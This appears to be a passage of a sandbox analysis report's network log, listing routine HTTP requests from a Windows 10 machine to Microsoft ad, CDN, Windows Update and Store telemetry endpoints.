WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023046Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=4d736a9da3d44005b13e152f19959c70&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-338388&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p=Cache-Control: no-cacheMS-CV: HaaqiicIfUqLEWgm.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023053Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3e2acdf460a64ee8b2799e3dde238f3d&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-338389&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p=Cache-Control: no-cacheMS-CV: HaaqiicIfUqLEWgm.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023054Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=543581fc392a429399179fc924cf7231&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-280815&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p=Cache-Control: no-cacheMS-CV: HaaqiicIfUqLEWgm.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWR39J?ver=c412 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PlTB?ver=2a94 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4FqCe?ver=30b0 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pwej?ver=cbf0 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWQWjb?ver=0d90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Fw4Y?ver=d097 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023125Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=89fb826b7c534a14aa59042c1b36163b&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611746&metered=false&nettype=ethernet&npid=sc-310091&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=febefl7%2C1&tl=2&tsu=1611746&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p=Cache-Control: no-cacheMS-CV: roOTgxd0CUGia0eI.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023143Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023145Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023146Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023147Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023148Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023149Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023150Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023150Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023151Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023153Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023154Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023155Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220721T023201Z&asid=b292032dde8d4dc4a39f8047dd3b6bdb&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
